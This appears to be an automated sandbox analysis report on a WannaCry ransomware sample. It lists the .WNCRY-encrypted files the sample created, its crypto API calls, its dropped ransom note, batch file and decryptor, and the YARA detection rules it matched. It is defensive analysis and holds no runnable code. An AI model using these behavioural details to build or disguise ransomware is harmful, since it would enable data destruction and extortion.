              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d14c23e-7ce9-42c1-9a52-20871828d127}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99473133309Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy) entropy: 7.99723437288Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99972384818Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy) entropy: 7.99862900775Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409637954002018.txt.WNCRY (copy) entropy: 7.99824256097Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt.WNCRY (copy) entropy: 7.99951534129Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt.WNCRY (copy) entropy: 7.99924368148Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3502d36d-7211-4995-af80-eced47ce4a6c}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.9950145719Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed67b689-2200-491a-9730-3e54067afbf3}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99435419674Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt.WNCRY (copy) entropy: 7.99987634502Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt.WNCRY (copy) entropy: 7.99966098033Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt.WNCRY (copy) entropy: 7.99582690762Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99816776617Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99916534176Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99932849162Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\jones\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy) entropy: 7.99757358725Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308473525907.txt.WNCRY (copy) entropy: 7.99819018439Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00401861 CryptImportKey,0_2_00401861
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004018F9 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,0_2_004018F9
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003F00 GetFileAttributesA,GetFileAttributesA,CreateFileA,GetFileSize,GlobalAlloc,ReadFile,GetFileAttributesA,CryptImportKey,_local_unwind2,_local_unwind2,0_2_10003F00
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003AC0 CryptImportKey,CryptImportKey,CryptDestroyKey,0_2_10003AC0
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004440 CryptAcquireContextA,wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,0_2_10004440

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.8e9bb8.1.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.8e9bb8.1.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.10000000.2.unpack, type: UNPACKEDPEMatched rule: WanaCry Payload Author: kevoreilly
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 0.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000000.00000000.1256386714.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
              Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
              PE file contains section with special chars
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic PE information: section name: ];Au~
              Source: MyProg.exe.2.drStatic PE information: section name: Y|uR
              PE file has a writeable .text section
              Source: wBQInv.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess Stats: CPU usage > 49%
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00406C400_2_00406C40
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00402A760_2_00402A76
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00402E7E0_2_00402E7E
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_0040350F0_2_0040350F
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00404C190_2_00404C19
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_0040541F0_2_0040541F
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004037970_2_00403797
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004043B60_2_004043B6
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004031BC0_2_004031BC
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_100066400_2_10006640
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_100069400_2_10006940
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_100062800_2_10006280
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10005DC00_2_10005DC0
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_004160762_2_00416076
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00416D002_2_00416D00
              Source: Joe Sandbox ViewDropped File: C:\@WanaDecryptor@.exe B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6768 -ip 6768
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract, compression method=deflate
              Source: taskdl.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
              Source: MyProg.exe.2.drStatic PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1282248828.0000000002448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1282296266.0000000002543000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1356687526.0000000000915000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3709965146.00000000008D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekbdlv.dllj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1295244076.0000000000908000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeBinary or memory string: OriginalFilenamediskpart.exej% vs ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.8e9bb8.1.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.8e9bb8.1.raw.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.10000000.2.unpack, type: UNPACKEDPEMatched rule: WanaCry author = kevoreilly, description = WanaCry Payload, cape_type = WanaCry Payload
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 0.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000000.00000000.1256386714.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
